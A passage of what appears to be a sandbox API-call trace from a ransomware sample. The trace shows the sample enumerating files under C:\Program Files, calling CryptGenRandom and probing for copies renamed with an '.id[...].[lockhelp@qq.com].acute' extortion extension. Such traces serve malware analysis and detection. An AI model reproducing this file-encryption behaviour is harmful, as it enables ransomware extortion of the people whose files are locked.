shared\\themes14\\spring\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.213] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.213] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1737) returned 1 [0273.213] CloseHandle (hObject=0x310) returned 1 [0273.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0273.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.213] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.213] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=33479) returned 1 [0273.213] CloseHandle (hObject=0x310) returned 1 [0273.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0273.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.214] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.214] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1675) returned 1 [0273.214] CloseHandle (hObject=0x310) returned 1 [0273.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0273.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.497] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.503] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=630) returned 1 [0273.503] CloseHandle (hObject=0x368) returned 1 [0273.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0273.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.627] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.628] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9804) returned 1 [0273.628] CloseHandle (hObject=0x30c) returned 1 [0273.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0273.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.628] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.628] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9975) returned 1 [0273.628] CloseHandle (hObject=0x30c) returned 1 [0273.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0273.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.632] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0273.632] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=174) returned 1 [0273.632] CloseHandle (hObject=0x2fc) returned 1 [0273.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0273.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\desktop.ini.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.640] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.640] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27935) returned 1 [0273.640] CloseHandle (hObject=0x368) returned 1 [0273.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0273.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.641] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.641] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=751669) returned 1 [0273.641] CloseHandle (hObject=0x368) returned 1 [0273.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0273.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.644] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.646] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10123) returned 1 [0273.646] CloseHandle (hObject=0x30c) returned 1 [0273.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0273.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.646] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.646] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3286) returned 1 [0273.646] CloseHandle (hObject=0x30c) returned 1 [0273.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0273.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.647] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.648] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3316) returned 1 [0273.648] CloseHandle (hObject=0x30c) returned 1 [0273.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0273.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.648] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.648] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11861) returned 1 [0273.648] CloseHandle (hObject=0x30c) returned 1 [0273.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0273.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.649] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.649] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3304) returned 1 [0273.649] CloseHandle (hObject=0x30c) returned 1 [0273.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png")) returned 0x20 [0273.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.649] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.650] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3467) returned 1 [0273.650] CloseHandle (hObject=0x30c) returned 1 [0273.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png")) returned 0x20 [0273.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.652] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.654] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12349) returned 1 [0273.654] CloseHandle (hObject=0x37c) returned 1 [0273.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png")) returned 0x20 [0273.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.655] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.655] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=341322) returned 1 [0273.655] CloseHandle (hObject=0x37c) returned 1 [0273.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0273.655] GetFileAttributesW 